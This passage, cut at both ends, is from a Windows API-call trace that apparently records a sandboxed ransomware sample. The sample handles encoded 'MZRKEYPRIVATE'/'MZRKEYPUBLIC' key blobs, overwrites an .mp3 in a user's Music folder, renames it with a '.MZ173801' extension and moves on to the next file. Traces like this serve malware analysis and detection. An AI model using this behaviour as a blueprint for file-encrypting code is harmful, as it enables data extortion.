DnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24d951c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.619] GetCurrentThreadId () returned 0xab4 [0158.619] GetCurrentThreadId () returned 0xab4 [0158.619] GetCurrentThreadId () returned 0xab4 [0158.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24ea57c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.620] GetCurrentThreadId () returned 0xab4 [0158.620] GetCurrentThreadId () returned 0xab4 [0158.620] GetCurrentThreadId () returned 0xab4 [0158.620] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\c IXUe-mvNtEdk.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\c ixue-mvntedk.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.620] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0158.620] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.620] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0xf43 [0158.620] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.620] ReadFile (in: hFile=0x2f8, lpBuffer=0x24f2380, nNumberOfBytesToRead=0xf43, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24f2380*, lpNumberOfBytesRead=0x19f74c*=0xf43, lpOverlapped=0x0) returned 1 [0158.621] CloseHandle (hObject=0x2f8) returned 1 [0158.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\c IXUe-mvNtEdk.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\c ixue-mvntedk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.622] WriteFile (in: hFile=0x2f8, lpBuffer=0x24f43b0*, nNumberOfBytesToWrite=0xf43, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24f43b0*, lpNumberOfBytesWritten=0x19f758*=0xf43, lpOverlapped=0x0) returned 1 [0158.625] CloseHandle (hObject=0x2f8) returned 1 [0158.626] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\c IXUe-mvNtEdk.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\c ixue-mvntedk.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\c IXUe-mvNtEdk.mp3.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\c ixue-mvntedk.mp3.mz173801")) returned 1 [0158.626] GetCurrentThreadId () returned 0xab4 [0158.626] GetCurrentThreadId () returned 0xab4 [0158.626] GetCurrentThreadId () returned 0xab4 [0158.626] GetCurrentThreadId () returned 0xab4 [0158.626] GetCurrentThreadId () returned 0xab4 [0158.626] GetCurrentThreadId () returned 0xab4 [0158.626] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42513370, ftCreationTime.dwHighDateTime=0x1d5eaac, ftLastAccessTime.dwLowDateTime=0x3bf94a70, ftLastAccessTime.dwHighDateTime=0x1d5e508, ftLastWriteTime.dwLowDateTime=0x3bf94a70, ftLastWriteTime.dwHighDateTime=0x1d5e508, nFileSizeHigh=0x0, nFileSizeLow=0x174a5, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="FqOJo-o8.wav", cAlternateFileName="")) returned 1 [0158.626] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.626] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.626] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\FqOJo-o8.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\fqojo-o8.wav"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42513370, ftCreationTime.dwHighDateTime=0x1d5eaac, ftLastAccessTime.dwLowDateTime=0x3bf94a70, ftLastAccessTime.dwHighDateTime=0x1d5e508, ftLastWriteTime.dwLowDateTime=0x3bf94a70, ftLastWriteTime.dwHighDateTime=0x1d5e508, nFileSizeHigh=0x0, nFileSizeLow=0x174a5)) returned 1 [0158.626] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\FqOJo-o8.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\fqojo-o8.wav")) returned 0x20 [0158.626] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\FqOJo-o8.wav", dwFileAttributes=0x80) returned 1 [0158.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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